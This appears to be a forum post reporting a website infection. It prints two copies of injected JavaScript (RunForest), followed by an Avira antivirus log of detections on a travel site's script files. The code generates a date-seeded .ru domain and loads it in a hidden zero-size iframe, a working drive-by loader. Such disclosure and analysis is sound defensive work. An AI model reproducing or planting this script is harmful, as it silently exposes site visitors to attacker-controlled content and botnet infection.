- function nextRandomNumber() {
- var hi = this.seed / this.Q;
- var lo = this.seed % this.Q;
- var test = this.A * lo - this.R * hi;
- if (test > 0) {
- this.seed = test;
- } else {
- this.seed = test + this.M;
- }
- return (this.seed * this.oneOverM);
- }
- function RandomNumberGenerator(unix) {
- var d = new Date(unix * 1000);
- var s = d.getHours() > 12 ? 1 : 0;
- this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
- this.A = 48271;
- this.M = 2147483647;
- this.Q = this.M / this.A;
- this.R = this.M % this.A;
- this.oneOverM = 1.0 / this.M;
- this.next = nextRandomNumber;
- return this;
- }
- function createRandomNumber(r, Min, Max) {
- return Math.round((Max - Min) * r.next() + Min);
- }
- function generatePseudoRandomString(unix, length, zone) {
- var rand = new RandomNumberGenerator(unix);
- var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
- var str = '';
- for (var i = 0; i < length; i++) {
- str += letters[createRandomNumber(rand, 0, letters.length - 1)];
- }
- return str + '.' + zone;
- }
- setTimeout(function() {
- try {
- if (typeof iframeWasCreated == "undefined") {
- iframeWasCreated = true;
- var unix = Math.round(+new Date() / 1000);
- var domainName = generatePseudoRandomString(unix, 16, 'ru');
- ifrm = document.createElement("IFRAME");
- ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
- ifrm.style.width = "0px";
- ifrm.style.height = "0px";
- ifrm.style.visibility = "hidden";
- document.body.appendChild(ifrm);
- }
- } catch (e) {}
- }, 500);
复制代码
- function nextRandomNumber() {
- var hi = this.seed / this.Q;
- var lo = this.seed % this.Q;
- var test = this.A * lo - this.R * hi;
- if (test > 0) {
- this.seed = test;
- } else {
- this.seed = test + this.M;
- }
- return (this.seed * this.oneOverM);
- }
- function RandomNumberGenerator(unix) {
- var d = new Date(unix * 1000);
- var s = d.getHours() > 12 ? 1 : 0;
- this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
- this.A = 48271;
- this.M = 2147483647;
- this.Q = this.M / this.A;
- this.R = this.M % this.A;
- this.oneOverM = 1.0 / this.M;
- this.next = nextRandomNumber;
- return this;
- }
- function createRandomNumber(r, Min, Max) {
- return Math.round((Max - Min) * r.next() + Min);
- }
- function generatePseudoRandomString(unix, length, zone) {
- var rand = new RandomNumberGenerator(unix);
- var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
- var str = '';
- for (var i = 0; i < length; i++) {
- str += letters[createRandomNumber(rand, 0, letters.length - 1)];
- }
- return str + '.' + zone;
- }
- setTimeout(function() {
- try {
- if (typeof iframeWasCreated == "undefined") {
- iframeWasCreated = true;
- var unix = Math.round(+new Date() / 1000);
- var domainName = generatePseudoRandomString(unix, 16, 'ru');
- ifrm = document.createElement("IFRAME");
- ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet");
- ifrm.style.width = "0px";
- ifrm.style.height = "0px";
- ifrm.style.visibility = "hidden";
- document.body.appendChild(ifrm);
- }
- } catch (e) {}
- }, 500);
复制代码
Avira
2013/7/7 上午 07:13 [System Scanner] 發現惡意程式碼
檔案 'C:\Users\vardon\AppData\Local\Temp\ChromePortable\Cache\f_000027'
包含病毒或有害的程式 'JS/RunForest.B' [virus]
已採取動作:
檔案會移動至 '55673063.qua' 名稱底下的隔離區目錄。.
2013/7/7 上午 07:13 [System Scanner] 掃描
掃描結束 [已完成全部的掃描。]。
檔案數: 780
目錄數: 0
惡意程式碼數: 1
警告數: 0
2013/7/7 上午 07:13 [Web Protection] 發現惡意程式碼
從 URL "http://www.raytreacytravel.com/templates/bt_travelin/js/template.js"
存取資料時,
發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
已採取動作:已略過
2013/7/7 上午 07:13 [Web Protection] 發現惡意程式碼
從 URL "http://www.raytreacytravel.com/templates/bt_travelin/js/ddpanel.js"
存取資料時,
發現病毒或有害的程式 'JS/RunForest.B' [virus]。
已採取動作:已略過
2013/7/7 上午 07:12 [Web Protection] 發現惡意程式碼
從 URL "http://www.raytreacytravel.com/media/system/js/mootools.js" 存取資料時,
發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
已採取動作:封鎖的檔案
2013/7/7 上午 07:12 [Web Protection] 發現惡意程式碼
從 URL "http://www.raytreacytravel.com/templates/bt_travelin/js/cmenu.js" 存取資料時,
發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
已採取動作:封鎖的檔案
2013/7/7 上午 07:12 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Temp\ChromePortable\Cache\f_000027 中
偵測到病毒或有害的程式 'JS/RunForest.B [virus]'
執行的動作:傳輸至掃描程式
2013/7/7 上午 07:12 [Web Protection] 發現惡意程式碼
從 URL "http://www.raytreacytravel.com/media/system/js/caption.js" 存取資料時,
發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
已採取動作:封鎖的檔案
2013/7/7 上午 07:12 [Web Protection] 發現惡意程式碼
從 URL "http://www.raytreacytravel.com/modules/mod_tabmods/scripts/mootools.js"
存取資料時,
發現病毒或有害的程式 'JS/RunForest.B' [virus]。
已採取動作:已略過
|